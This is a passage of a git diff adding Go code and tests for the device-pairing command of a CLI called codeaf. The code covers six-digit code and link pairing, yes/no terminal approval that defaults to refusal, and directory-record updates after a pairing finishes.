it +// +// Both doors run internal/pair's Offer and Join and add nothing to them but a +// terminal to read and print on; the chat's `/pair` runs the same two functions +// on a screen. Every sentence a person reads is pair's own. + +import ( + "context" + "errors" + "fmt" + "io" + "os" + "os/signal" + "strings" + "syscall" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// pairDoor is one run of `codeaf pair`: the terminal it talks on and the three +// things that say where a pairing goes, which are seams so a test can point two +// doors at two homes. +type pairDoor struct { + term *terminal + mailbox func(relayFlag string) (pair.Mailbox, error) + grant func(pair.Mailbox) (pair.Grant, error) + joining func(replace bool) pair.Joining + + // asksName is true when a person is at the terminal and so can be asked what + // this computer should be called while it joins. + asksName bool + + // The three seams of pairing by link. + requests func(pair.Mailbox) directory.Requests + linking func(route pair.Mailbox, replace bool) pair.LinkJoining + approver func(pair.Mailbox) (pair.Approver, error) + + // ownRecord is the seam a finished pairing's own directory record goes + // through — the same upsert every chat start makes. A seam like the rest, + // so a test can point two doors of one process at two homes. + ownRecord func(ctx context.Context, route pair.Mailbox) error +} + +func newPairDoor(in io.Reader, out io.Writer) pairDoor { + return pairDoor{term: newTerminal(in, out), asksName: in == io.Reader(os.Stdin) && stdinIsTerminal(os.Stdin), mailbox: pairMailbox, grant: pairGrant, joining: pairJoining, + requests: linkRequests, linking: linkJoining(home.Dir()), approver: linkApprover(home.Dir()), + ownRecord: func(ctx context.Context, route pair.Mailbox) error { return ownDeviceRecord(ctx, home.Dir(), route) }} +} + +const pairUsage = "usage: codeaf pair [--name ] | codeaf pair approve | codeaf pair [--replace] [--name ] | codeaf pair --code" + +// approveUsage is what `codeaf pair approve` with nothing after it is told. +const approveUsage = "usage: codeaf pair approve \u2014 the link or code the new device shows" + +// ownDeviceRecord writes dir's own directory record at the relay a pairing +// just went through — the same upsert every chat start makes +// (syncsetup.PutOwnDevice), so a device that finished a pairing is on its own +// list at once and not on the next chat start. +func ownDeviceRecord(ctx context.Context, dir string, route pair.Mailbox) error { + client, id, err := homeDirectory(dir, route) + if err != nil { + return err + } + dev, err := identity.Device(dir) + if err != nil { + return err + } + return syncsetup.PutOwnDevice(ctx, client, id, dev, devname.Name(dir)) +} + +// recordOwnDeviceOrSay is what a finished pairing does about its record: the +// pairing itself succeeded, so a record that did not land is one line on the +// screen and a clean exit — the next chat start writes the record anyway. +func (d pairDoor) recordOwnDeviceOrSay(ctx context.Context, route pair.Mailbox) { + if d.ownRecord == nil { + return + } + if err := d.ownRecord(ctx, route); err != nil { + d.term.say(pair.RecordUnsaidLine(err)) + } +} + +func runPair(args []string) error { + // ctrl+c is how a shown code is taken back, so it cancels the pairing rather + // than killing the process: Offer deletes its mailbox on the way out. + ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) + defer stop() + return newPairDoor(os.Stdin, os.Stdout).run(ctx, args) +} + +func (d pairDoor) run(ctx context.Context, args []string) error { + // ASKING FOR HELP IS ANSWERED WHERE PAIRING CANNOT RUN. `pair` is on the help + // page, so a build with no compatible engine, + // still explains the command; only the pairing itself is refused. + if reason := cell.UnavailableReason(); reason != "" && !asksForHelp(args) { + return errors.New(reason) + } + if reason := cell.UnavailableReason(); reason != "" && asksForHelp(args) { + fmt.Fprintln(usageOut, reason) + } + flags := commandFlags("pair") + via := flags.String("via", "", "the sync address to pair through; empty is the one this device already uses") + renamedFlag(flags, "relay", "via") + code := flags.Bool("code", false, "show a six-digit code that shares this device's chats, instead of asking to join") + replace := flags.Bool("replace", false, "when typing a code, replace this device's own chats with the shared ones") + name := flags.String("name", "", "what your devices call this one; empty keeps its current name, which starts as the host name") + if err := parseCommandFlags(flags, reorder(flags, args)); err != nil { + return err + } + if err := d.naming(ctx, *name, flags.Args(), *code); err != nil { + return err + } + return d.dispatch(ctx, flags.Args(), *via, *replace, *code) +} + +// naming settles what this computer is called before a join starts, because the +// name is what the device that lets it in will show. A typed --name is kept as it +// is, and a bad one stops the pairing before the relay is looked up. Without one, +// a person at a terminal who has never named this computer is shown the host name +// and may keep it with Enter or type another. The device that shows a code or +// approves already has a name, so only a join asks. +func (d pairDoor) naming(ctx context.Context, typed string, args []string, showing bool) error { + if typed != "" { + _, err := devname.Set(home.Dir(), typed) + return err + } + if !d.asksName || showing || !joins(args) { + return nil + } + if _, named := devname.Chosen(home.Dir()); named { + return nil + } + return d.askName(ctx) +} + +// joins says the arguments are a join: a bare `codeaf pair` or a typed code, +// and not `approve`, a link or a shown code. +func joins(args []string) bool { + return len(args) == 0 || (len(args) == 1 && !pair.IsLinkText(args[0])) +} + +// askName asks until a name is kept or the person leaves it as it is. +func (d pairDoor) askName(ctx context.Context) error { + for { + fmt.Fprint(d.term.out, pair.NamePrompt(devname.Name(home.Dir()))+" ") + typed, ok := d.term.lines.next(ctx) + if !ok || strings.TrimSpace(typed) == "" { + fmt.Fprintln(d.term.out) + return nil + } + _, err := devname.Set(home.Dir(), typed) + if err == nil { + return nil + } + d.term.say(pair.NameTried(err)) + } +} + +// dispatch picks the door by what was typed: nothing asks to join, `approve` +// and anything shaped like a link approve, and a six-digit code joins as before. +func (d pairDoor) dispatch(ctx context.Context, args []string, relay string, replace, code bool) error { + switch { + case code && len(args) == 0 && !replace: + return d.show(ctx, relay) + case len(args) == 0 && !code: + return d.askToJoin(ctx, relay, replace) + case len(args) == 1 && args[0] == "approve": + return wrongCall(approveUsage) + case len(args) == 2 && args[0] == "approve" && !code && !replace: + return d.withApprovalRecord().approve(ctx, relay, args[1]) + case len(args) == 1 && !code && pair.IsLinkText(args[0]): + return d.withApprovalRecord().approve(ctx, relay, args[0]) + case len(args) == 1 && !code: + return d.join(ctx, relay, args[0], replace) + } + return wrongCall(pairUsage) +} + +// show is the device that has the chats: a code on screen until one device has +// typed it and a person has said yes. +func (d pairDoor) show(ctx context.Context, relay string) error { + route, err := d.mailbox(relay) + if err != nil { + return err + } + grant, err := d.grant(route) + if err != nil { + return err + } + label, err := pair.Offer(ctx, route, grant, offerScreen{d.term}) + if err != nil { + return d.endedByPerson(ctx, err) + } + d.term.say(pair.PairedChatsLine(label)) + d.recordOwnDeviceOrSay(ctx, route) + return nil +} + +// join is the device that gets them. A code that cannot be a code is refused +// before the relay is even looked up, so a typo costs no request. +func (d pairDoor) join(ctx context.Context, relay, typed string, replace bool) error { + if _, err := pair.ReadJoinCode(typed); err != nil { + return err + } + route, err := d.mailbox(relay) + if err != nil { + return err + } + joined, err := pair.Join(ctx, route, d.joining(replace), typed, joinScreen{d.term}) + if err != nil { + return d.endedByPerson(ctx, err) + } + d.term.say(joinedSentence(joined)) + d.recordOwnDeviceOrSay(ctx, route) + return nil +} + +// joinedSentence is how a finished join reads. +func joinedSentence(joined pair.Joined) string { return joined.Sentence() } + +// endedByPerson turns the end a person chose with ctrl+c into a clean exit that +// says nothing was paired, and leaves every other failure as the sentence it already is. +func (d pairDoor) endedByPerson(ctx context.Context, err error) error { + if ctx.Err() != nil { + // The terminal echoes ^C on the prompt's own line, so start a fresh one. + fmt.Fprintln(d.term.out) + d.term.say(pair.CancelledLine) + return nil + } + return err +} + +// asksForHelp reports whether args ask a command for its help page, in any of +// the spellings the flag package answers with its usage. +func asksForHelp(args []string) bool { + for _, arg := range args { + switch arg { + case "-h", "-help", "--help": + return true + } + } + return false +} diff --git a/cmd/codeaf/pair_help_test.go b/cmd/codeaf/pair_help_test.go new file mode 100644 index 0000000000..522156f613 --- /dev/null +++ b/cmd/codeaf/pair_help_test.go @@ -0,0 +1,30 @@ +package main + +import ( + "context" + "io" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// TestPairHelpWithoutAnEngine proves C27.3 and C15: help remains available +// when the build cannot offer pairing, and the action explains the real limit. +func TestPairHelpWithoutAnEngine(t *testing.T) { + t.Cleanup(cell.UseAvailabilityInTests(false)) + for _, ask := range []string{"--help", "-h", "-help"} { + out, _ := captureUsage(t) + err := newPairDoor(strings.NewReader(""), io.Discard).run(context.Background(), []string{ask}) + if code := exitCodeOf(err); code != 0 { + t.Fatalf("codeaf pair %s exited %d: %v", ask, code, err) + } + if !strings.Contains(out.String(), "codeaf pair") || !strings.Contains(out.String(), cell.UnavailableReason()) { + t.Fatalf("codeaf pair %s printed no usage:\n%s", ask, out.String()) + } + } + err := newPairDoor(strings.NewReader(""), io.Discard).run(context.Background(), nil) + if err == nil || err.Error() != cell.UnavailableReason() { + t.Fatalf("pairing with no engine: %v, want %q", err, cell.UnavailableReason()) + } +} diff --git a/cmd/codeaf/pair_terminal.go b/cmd/codeaf/pair_terminal.go new file mode 100644 index 0000000000..78110b54f0 --- /dev/null +++ b/cmd/codeaf/pair_terminal.go @@ -0,0 +1,152 @@ +package main + +// The terminal's half of pairing: explicit a approval for links, y or n for codes, +// and the lines both doors of `codeaf pair` print. The sentences themselves are +// internal/pair's (lines.go), so the terminal and the chat screen cannot drift. + +import ( + "bufio" + "context" + "fmt" + "io" + "os" + "strings" + "sync" + + "github.com/Agent-Field/codeaf/internal/guard" + "github.com/Agent-Field/codeaf/internal/pair" +) + +// lineSource hands out the lines of one input, one at a time, without ever +// blocking a caller past its context. +// +// A READ CANNOT BE CANCELLED, so a question that runs out of time leaves its read +// waiting. That read is kept and given to the next question rather than started +// again: a second reader on the same input would race the first for the line +// and one of the two answers would be lost. +type lineSource struct { + mu sync.Mutex + reader *bufio.Reader + waiting chan string +} + +func newLineSource(in io.Reader) *lineSource { return &lineSource{reader: bufio.NewReader(in)} } + +// next is the next line typed, or false when ctx ends first. The end of the +// input is an empty line, which every question here reads as a no. +func (s *lineSource) next(ctx context.Context) (string, bool) { + line := s.pending() + select { + case text := <-line: + s.finish(line) + return text, true + case <-ctx.Done(): + return "", false + } +} + +// pending is the read in flight, started if there is none. +func (s *lineSource) pending() chan string { + s.mu.Lock() + defer s.mu.Unlock() + if s.waiting == nil { + s.waiting = make(chan string, 1) + out := s.waiting + guard.Go("pair/read a line", func() { + text, _ := s.reader.ReadString('\n') + out <- text + }) + } + return s.waiting +} + +// finish forgets a read that has been answered, so the next question starts its own. +func (s *lineSource) finish(line chan string) { + s.mu.Lock() + defer s.mu.Unlock() + if s.waiting == line { + s.waiting = nil + } +} + +// terminal is a person at a plain terminal: what they read and what they type. +type terminal struct { + out io.Writer + lines *lineSource +} + +func newTerminal(in io.Reader, out io.Writer) *terminal { + return &terminal{out: out, lines: newLineSource(in)} +} + +// say prints one line. +func (t *terminal) say(line string) { fmt.Fprintln(t.out, line) } + +// confirm puts a question with the pair package's own choice under it and +// answers whether the person said yes. THERE IS NO DEFAULT: Enter, the end of +// the input, silence and every word but y and yes are a no, because a stray key +// must never let a device in. +func (t *terminal) confirm(ctx context.Context, question string) bool { + fmt.Fprint(t.out, question+" "+pair.AskChoice+" ") + typed, ok := t.lines.next(ctx) + if !ok { + // Nothing was typed, so the line the prompt is on is left open: close it. + fmt.Fprintln(t.out) + return false + } + return saidYes(typed) +} + +func saidYes(typed string) bool { + switch strings.ToLower(strings.TrimSpace(typed)) { + case "y", "yes": + return true + } + return false +} + +// approveLink uses the same deliberate approval key as the chat card. Code +// pairing keeps its own yes/no question because its comparison is different. +func (t *terminal) approveLink(ctx context.Context, question string) bool { + fmt.Fprint(t.out, question+" a / d ") + typed, ok := t.lines.next(ctx) + if !ok { + fmt.Fprintln(t.out) + return false + } + return strings.TrimSpace(typed) == "a" +} + +// offerScreen is the device that shows the code, as a terminal. +type offerScreen struct{ *terminal } + +func (s offerScreen) Show(_ *pair.Code, lines string) { fmt.Fprint(s.out, lines) } + +func (s offerScreen) Burned() { s.say(pair.BurnLine) } + +func (s offerScreen) Ask(ctx context.Context, label, words string) bool { + return s.confirm(ctx, pair.AskChatsLine(label, words)) +} + +// joinScreen is the device that types the code, as a terminal. +type joinScreen struct{ *terminal } + +func (s joinScreen) Waiting(words string) { s.say(pair.WaitingChatsLine(words)) } + +// serveApprover is how this machine asks the person at it before a device may +// use it: the pair package's question on the terminal, answered y or n. +// +// NIL WHEN NOBODY IS AT A TERMINAL, because a question nobody can read is a no +// and [pair.Host] already says so for a nil approver. Each question is given +// [pair.ConfirmWithin] and no more, the same as the device on the other side. +func serveApprover(ctx context.Context, in *os.File, out io.Writer) func(label, words string) bool { + if !stdinIsTerminal(in) { + return nil + } + person := newTerminal(in, out) + return func(label, words string) bool { + asked, stop := context.WithTimeout(ctx, pair.ConfirmWithin) + defer stop() + return person.confirm(asked, pair.AskMachineLine(label, words)) + } +} diff --git a/cmd/codeaf/pair_test.go b/cmd/codeaf/pair_test.go new file mode 100644 index 0000000000..8cb68fa522 --- /dev/null +++ b/cmd/codeaf/pair_test.go @@ -0,0 +1,382 @@ +package main + +import ( + "bytes" + "context" + "errors" + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "io" + "net/http" + "net/http/httptest" + "regexp" + "slices" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/pairbox" + "github.com/Agent-Field/codeaf/internal/relayserve" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// pairScreenText is a terminal's output that a test can read while the door that +// writes it is still running. +type pairScreenText struct { + mu sync.Mutex + text bytes.Buffer +} + +func (b *pairScreenText) Write(p []byte) (int, error) { + b.mu.Lock() + defer b.mu.Unlock() + return b.text.Write(p) +} + +func (b *pairScreenText) String() string { + b.mu.Lock() + defer b.mu.Unlock() + return b.text.String() +} + +// waitFor is the first match of pattern in what a terminal has printed, or a +// failure after a while. +func (b *pairScreenText) waitFor(t *testing.T, pattern string) []string { + t.Helper() + re := regexp.MustCompile(pattern) + deadline := time.Now().Add(15 * time.Second) + for time.Now().Before(deadline) { + if found := re.FindStringSubmatch(b.String()); found != nil { + return found + } + time.Sleep(10 * time.Millisecond) + } + t.Fatalf("the terminal never printed %q; it printed:\n%s", pattern, b.String()) + return nil +} + +// A typo is refused before any relay is looked up, so it needs no network and +// no relay setting at all. +func TestPairBadCode(t *testing.T) { + celltest.Available(t) + t.Setenv("CODEAF_HOME", t.TempDir()) + t.Setenv("CODEAF_SYNC_URL", "off") + for _, typed := range []string{"12", "abc-def-ghi", "4-715-30x"} { + out := &pairScreenText{} + err := newPairDoor(strings.NewReader(""), out).run(context.Background(), []string{typed}) + if !errors.Is(err, pair.ErrCodeShape) { + t.Fatalf("typing %q ended with %v, want the code-shape sentence", typed, err) + } + if out.String() != "" { + t.Fatalf("typing %q printed %q before it was refused", typed, out.String()) + } + } +} + +// A relay that is switched off is said at once, by both doors, and nothing is +// sent to any relay: not the saved one and not the one named on the command line. +func TestPairSyncOff(t *testing.T) { + celltest.Available(t) + stub := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + t.Errorf("a request reached the relay: %s %s", r.Method, r.URL.Path) + })) + defer stub.Close() + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + if err := syncsetup.SaveRelayURL(dir, stub.URL); err != nil { + t.Fatal(err) + } + t.Setenv("CODEAF_SYNC_URL", "OFF") + for _, args := range [][]string{nil, {"42-715-302"}} { + err := newPairDoor(strings.NewReader(""), &pairScreenText{}).run(context.Background(), args) + if !errors.Is(err, pair.ErrSyncOff) { + t.Fatalf("`codeaf pair %v` with sync off ended with %v", args, err) + } + } +} + +// pairRig is two computers and a relay between them, in this process. +type pairRig struct { + url string + homeA string + homeB string +} + +func newPairRig(t *testing.T) *pairRig { + celltest.Available(t) + t.Helper() + svc := relayserve.New(relayserve.Config{Store: t.TempDir()}) + srv := httptest.NewServer(svc.Handler) + t.Cleanup(func() { srv.Close(); svc.Close() }) + rig := &pairRig{url: srv.URL, homeA: t.TempDir(), homeB: t.TempDir()} + if _, err := identity.Ensure(rig.homeA); err != nil { + t.Fatal(err) + } + return rig +} + +// door is the real command with its three seams pointed at one of the homes. +func (r *pairRig) door(home string, in io.Reader, out io.Writer) pairDoor { + d := newPairDoor(in, out) + d.mailbox = func(string) (pair.Mailbox, error) { + return pair.Mailbox{Box: pairbox.NewHTTP(r.url, &http.Client{Timeout: time.Minute}), URL: r.url, Host: "relay.test"}, nil + } + d.grant = func(route pair.Mailbox) (pair.Grant, error) { + id, err := identity.Ensure(home) + return pair.Grant{Identity: id, SyncURL: route.URL}, err + } + d.joining = func(replace bool) pair.Joining { + return pair.Joining{Home: home, Label: "laptop", Replace: replace, + SaveSyncURL: func(url string) error { return syncsetup.SaveRelayURL(home, url) }} + } + d.linking = func(route pair.Mailbox, replace bool) pair.LinkJoining { + j := linkJoining(home)(route, replace) + j.Label = "laptop" + return j + } + d.approver = linkApprover(home) + d.ownRecord = func(ctx context.Context, route pair.Mailbox) error { return ownDeviceRecord(ctx, home, route) } + return d +} + +// showing is the device that has the chats, running in the background with a +// pipe a test types its answers into. +type showing struct { + out *pairScreenText + typed *io.PipeWriter + done chan error + stop context.CancelFunc +} + +func (r *pairRig) show(t *testing.T) *showing { + t.Helper() + in, typed := io.Pipe() + s := &showing{out: &pairScreenText{}, typed: typed, done: make(chan error, 1)} + ctx, stop := context.WithCancel(context.Background()) + s.stop = stop + t.Cleanup(func() { stop(); _ = typed.Close() }) + go func() { s.done <- r.door(r.homeA, in, s.out).run(ctx, []string{"--code"}) }() + return s +} + +func (s *showing) code(t *testing.T) string { + t.Helper() + return s.out.waitFor(t, `codeaf pair (\S+)`)[1] +} + +func (s *showing) end(t *testing.T) error { + t.Helper() + select { + case err := <-s.done: + return err + case <-time.After(20 * time.Second): + t.Fatal("`codeaf pair` did not finish") + return nil + } +} + +// joinWith types a code on the other computer and answers what it ends with. +func (r *pairRig) joinWith(t *testing.T, code string, replace bool) (*pairScreenText, error) { + t.Helper() + out := &pairScreenText{} + args := []string{code} + if replace { + args = append(args, "--replace") + } + return out, r.door(r.homeB, strings.NewReader(""), out).run(context.Background(), args) +} + +// The whole of both doors through the real command: one shows a code, the other +// types it, both screens show the same three words, a person types y, and the +// second computer holds the first one's chats and the relay it came through. +func TestPairBothDoorsOnATerminal(t *testing.T) { + rig := newPairRig(t) + shown := rig.show(t) + code := shown.code(t) + + joined := make(chan error, 1) + var joiner *pairScreenText + go func() { + var err error + joiner, err = rig.joinWith(t, code, false) + joined <- err + }() + + asked := shown.out.waitFor(t, `"laptop" wants your chats\. Same three words on that screen: ([a-z ]+)\? y / n `) + if _, err := io.WriteString(shown.typed, "y\n"); err != nil { + t.Fatal(err) + } + if err := <-joined; err != nil { + t.Fatal(err) + } + if err := shown.end(t); err != nil { + t.Fatal(err) + } + + wanted := pair.WaitingChatsLine(asked[1]) + if got := joiner.String(); got != wanted+"\n"+pair.JoinedLine+"\n" { + t.Fatalf("the joining terminal printed:\n%s\nwant:\n%s\n%s", got, wanted, pair.JoinedLine) + } + if !strings.HasSuffix(shown.out.String(), pair.PairedChatsLine("laptop")+"\n") { + t.Fatalf("the sharing terminal did not end on the paired line:\n%s", shown.out.String()) + } + first, _ := identity.Load(rig.homeA) + second, err := identity.Load(rig.homeB) + if err != nil || second.ID() != first.ID() { + t.Fatalf("the second computer holds %v (%v), want the first one's chats", second.ID(), err) + } + if got := syncsetup.Resolve(rig.homeB).URL; got != rig.url { + t.Fatalf("the second computer saved the relay %q, want %q", got, rig.url) + } +} + +// A pairing that finished puts BOTH computers on the directory: each side's +// devices list shows the other, with no chat start needed. Straight after +// pairing, neither machine used to have a record and `codeaf devices` said +// nothing was paired yet on the very computer that just said "Paired.". +func TestDevicesAfterACodePairingShowsBothComputers(t *testing.T) { + rig := newPairRig(t) + t.Setenv("CODEAF_SYNC_URL", rig.url) + if _, err := devname.Set(rig.homeA, "desk"); err != nil { + t.Fatal(err) + } + if _, err := devname.Set(rig.homeB, "laptop"); err != nil { + t.Fatal(err) + } + + shown := rig.show(t) + code := shown.code(t) + joined := make(chan error, 1) + go func() { + var err error + _, err = rig.joinWith(t, code, false) + joined <- err + }() + if asked := shown.out.waitFor(t, `"laptop" wants your chats\. Same three words on that screen: ([a-z ]+)\? y / n `); asked == nil { + t.Fatal("the sharing screen never asked") + } + if _, err := io.WriteString(shown.typed, "y\n"); err != nil { + t.Fatal(err) + } + if err := <-joined; err != nil { + t.Fatal(err) + } + if err := shown.end(t); err != nil { + t.Fatal(err) + } + + // BOTH sides list both computers, each named as its device record says. + for _, side := range []struct{ home, want, label string }{ + {rig.homeA, "laptop", "the computer that showed the code"}, + {rig.homeB, "desk", "the computer that typed it"}, + } { + t.Setenv("CODEAF_HOME", side.home) + chats, ok := openChatsKind() + if !ok { + t.Fatalf("%s has no chats kind", side.label) + } + rows, err := chats.rows() + if err != nil { + t.Fatal(err) + } + if len(rows) != 2 { + t.Fatalf("%s's devices list holds %d rows, want both computers", side.label, len(rows)) + } + names := make([]string, 0, len(rows)) + for _, row := range rows { + names = append(names, row.Name) + } + if !slices.Contains(names, side.want) { + t.Fatalf("%s's devices list holds %v, want %q on it", side.label, names, side.want) + } + } +} + +// A person who does not say y lets nobody in: Enter alone is a no, and the +// joining computer is told so in the pair package's own sentence. +func TestPairEnterIsNo(t *testing.T) { + rig := newPairRig(t) + shown := rig.show(t) + code := shown.code(t) + + joined := make(chan error, 1) + go func() { _, err := rig.joinWith(t, code, false); joined <- err }() + shown.out.waitFor(t, `y / n `) + if _, err := io.WriteString(shown.typed, "\n"); err != nil { + t.Fatal(err) + } + if err := <-joined; !errors.Is(err, pair.ErrRefused) { + t.Fatalf("the joining computer ended with %v, want a refusal", err) + } + if err := shown.end(t); !errors.Is(err, pair.ErrRefused) { + t.Fatalf("the sharing computer ended with %v, want a refusal", err) + } + if _, err := identity.Load(rig.homeB); err == nil { + t.Fatal("a refused computer was given the chats") + } +} + +// A wrong code costs the person nothing but a new code, which is on the screen +// before anyone presses a key; ctrl+c then ends the door cleanly. +func TestPairWrongCodeBurnsAndShowsANewOne(t *testing.T) { + rig := newPairRig(t) + shown := rig.show(t) + code := shown.code(t) + + wrong := code[:len(code)-1] + string(rune('0'+(code[len(code)-1]-'0'+1)%10)) + if _, err := rig.joinWith(t, wrong, false); !errors.Is(err, pair.ErrCodeDidNotWork) { + t.Fatalf("a wrong code ended with %v, want the code-did-not-work sentence", err) + } + shown.out.waitFor(t, regexp.QuoteMeta(pair.BurnLine)+`\n(?s:.*)codeaf pair \S+`) + shown.stop() + if err := shown.end(t); err != nil { + t.Fatalf("ctrl+c ended the sharing door with %v, want a clean end", err) + } +} + +// Every answer but y and yes is a no, whatever its case or spacing, and the end +// of the input is one too. +func TestTerminalConfirmReadsOnlyYesAsYes(t *testing.T) { + for typed, want := range map[string]bool{ + "y\n": true, " YES \n": true, "Yes\n": true, + "\n": false, "n\n": false, "no\n": false, "yep\n": false, "ok\n": false, "": false, + } { + out := &pairScreenText{} + got := newTerminal(strings.NewReader(typed), out).confirm(context.Background(), "ok?") + if got != want { + t.Errorf("answering %q gave %v, want %v", typed, got, want) + } + if !strings.HasPrefix(out.String(), "ok? "+pair.AskChoice+" ") { + t.Errorf("the question was printed as %q", out.String()) + } + } +} + +// Silence is a no: a question that runs out of time answers false, and the next +// question still gets the line a person types afterwards. +func TestTerminalConfirmSilenceIsNo(t *testing.T) { + in, typed := io.Pipe() + defer typed.Close() + person := newTerminal(in, &pairScreenText{}) + + quiet, stop := context.WithTimeout(context.Background(), 20*time.Millisecond) + defer stop() + if person.confirm(quiet, "first?") { + t.Fatal("silence was read as a yes") + } + go func() { _, _ = io.WriteString(typed, "y\n") }() + if !person.confirm(context.Background(), "second?") { + t.Fatal("the answer typed after the silence was lost") + } +} + +// `codeaf serve` asks nobody when nobody is at a terminal, which the host reads +// as a no. +func TestServeApproverIsAbsentWithoutATerminal(t *testing.T) { + if serveApprover(context.Background(), nil, io.Discard) != nil { + t.Fatal("a machine with no terminal was given someone to ask") + } +} diff --git a/cmd/codeaf/pairlink.go b/cmd/codeaf/pairlink.go new file mode 100644 index 0000000000..3b8cc0346c --- /dev/null +++ b/cmd/codeaf/pairlink.go @@ -0,0 +1,185 @@ +package main + +// `codeaf pair` by link: a new device asks to join and shows a link; a device +// that is already in approves it with `codeaf pair approve `. +// +// new$ codeaf pair shows a link and waits +// old$ codeaf pair approve k7m2q9xd.Qm9v shows who is asking, asks a or d +// +// Both doors run internal/pair's JoinByLink and Approver. The app's approve +// screen calls the same Approver, so the two cannot disagree. + +import ( + "context" + "crypto/ed25519" + "errors" + "net/http" + "runtime" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/reqsign" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// linkTimeout outlasts one held poll so the answer, not the client, ends a wait. +const linkTimeout = directory.MaxWait + 10*time.Second + +// linkRequests is the open side of the directory at a route. +func linkRequests(route pair.Mailbox) directory.Requests { + return directory.NewLinkHTTP(route.URL, &http.Client{Timeout: linkTimeout}) +} + +// homeDirectory is this computer's signed directory at a route, and the identity +// it signs for. +func homeDirectory(dir string, route pair.Mailbox) (directory.Client, identity.Identity, error) { + id, err := identity.Load(dir) + if errors.Is(err, identity.ErrNone) { + return nil, id, pair.ErrNotJoined + } + if err != nil { + return nil, id, err + } + dev, err := identity.Device(dir) + if err != nil { + return nil, id, err + } + sign := reqsign.SignFor(homeSigner{id, dev}, time.Now) + return directory.NewHTTP(route.URL, sign, &http.Client{Timeout: linkTimeout}), id, nil +} + +type homeSigner struct { + id identity.Identity + dev identity.Dev +} + +func (s homeSigner) IdentityKey() ed25519.PublicKey { return s.id.PublicKey() } +func (s homeSigner) Cert() identity.Cert { return s.dev.Cert } +func (s homeSigner) Sign(msg []byte) []byte { return s.dev.Sign(msg) } + +// pullFleet counts what the identity holds, as this computer now sees it. +func pullFleet(dir string, route pair.Mailbox) func(context.Context) (pair.Fleet, error) { + return func(ctx context.Context) (pair.Fleet, error) { + client, _, err := homeDirectory(dir, route) + if err != nil { + return pair.Fleet{}, err + } + listing, err := client.List(ctx) + return fleetOf(listing), err + } +} + +// fleetOf counts the devices that are still in and the workspaces that are still open. +func fleetOf(l directory.Listing) pair.Fleet { + var f pair.Fleet + for _, d := range l.Devices { + if !d.Revoked { + f.Devices++ + } + } + for _, c := range l.Cells { + if !c.Archived { + f.Workspaces++ + } + } + return f +} + +// linkJoining is this computer as the device that asks to join. +func linkJoining(dir string) func(pair.Mailbox, bool) pair.LinkJoining { + return func(route pair.Mailbox, replace bool) pair.LinkJoining { + return pair.LinkJoining{ + Joining: pairJoiningAt(dir)(replace), Platform: runtime.GOOS, Host: route.Host, Via: syncsetup.Named(route.URL), + Pull: pullFleet(dir, route), + } + } +} + +// inviteScreen is the new device's terminal. +type inviteScreen struct{ *terminal } + +func (s inviteScreen) Invited(in pair.Invite) { s.say(pair.InviteLines(in)) } + +// askToJoin is the new device: a link on screen until a device that is in says yes. +func (d pairDoor) askToJoin(ctx context.Context, relay string, replace bool) error { + route, err := d.mailbox(relay) + if err != nil { + return err + } + joined, err := pair.JoinByLink(ctx, d.requests(route), d.linking(route, replace), inviteScreen{d.term}) + if err != nil && !errors.Is(err, pair.ErrPairedNotRead) { + return d.endedByPerson(ctx, err) + } + if err != nil { + d.term.say(err.Error()) + return nil + } + d.term.say(pair.JoinedFleetLine(joined.Fleet.Workspaces)) + d.recordOwnDeviceOrSay(ctx, route) + return nil +} + +// approve is a device that is in: it reads the request, shows who is asking and +// the check number, and lets them in on a. Anything else turns them down. +func (d pairDoor) approve(ctx context.Context, relay, typed string) error { + ref, err := pair.ReadLink(typed) + if err != nil { + return err + } + if relay == "" { + relay = pair.LinkRelay(typed) + } + route, err := d.mailbox(relay) + if err != nil { + return err + } + who, err := d.approver(route) + if err != nil { + return err + } + asking, err := who.Look(ctx, ref) + if err != nil { + return err + } + d.term.say(pair.WantsToJoinLine(asking.Name, asking.Platform)) + if !d.term.approveLink(ctx, pair.CheckQuestion(asking.Check)) { + return d.decline(ctx, who, asking) + } + if err := who.Approve(ctx, asking); err != nil { + return err + } + if err := identity.EndSolo(home.Dir()); err != nil { + return err + } + d.term.say(pair.ApprovedLine(asking.Name)) + d.recordOwnDeviceOrSay(ctx, route) + return nil +} + +func (d pairDoor) decline(ctx context.Context, who pair.Approver, asking pair.Asking) error { + if ctx.Err() != nil { + return d.endedByPerson(ctx, nil) + } + if err := who.Deny(ctx, asking); err != nil { + return err + } + d.term.say(pair.DeclinedLine) + return nil +} + +// linkApprover is this computer as the device that approves. +func linkApprover(dir string) func(pair.Mailbox) (pair.Approver, error) { + return func(route pair.Mailbox) (pair.Approver, error) { + client, id, err := homeDirectory(dir, route) + if err != nil { + return pair.Approver{}, err + } + return pair.Approver{ + Requests: linkRequests(route), Dir: client, Identity: id, + SyncURL: syncsetup.Named(route.URL), Replaces: identity.Predecessors(dir), + }, nil + } +} diff --git a/cmd/codeaf/pairlink_test.go b/cmd/codeaf/pairlink_test.go new file mode 100644 index 0000000000..67e99a8846 --- /dev/null +++ b/cmd/codeaf/pairlink_test.go @@ -0,0 +1,197 @@ +package main + +import ( + "bytes" + "context" + "errors" + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "regexp" + "runtime" + "slices" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" +) + +// asking runs `codeaf pair` on the new 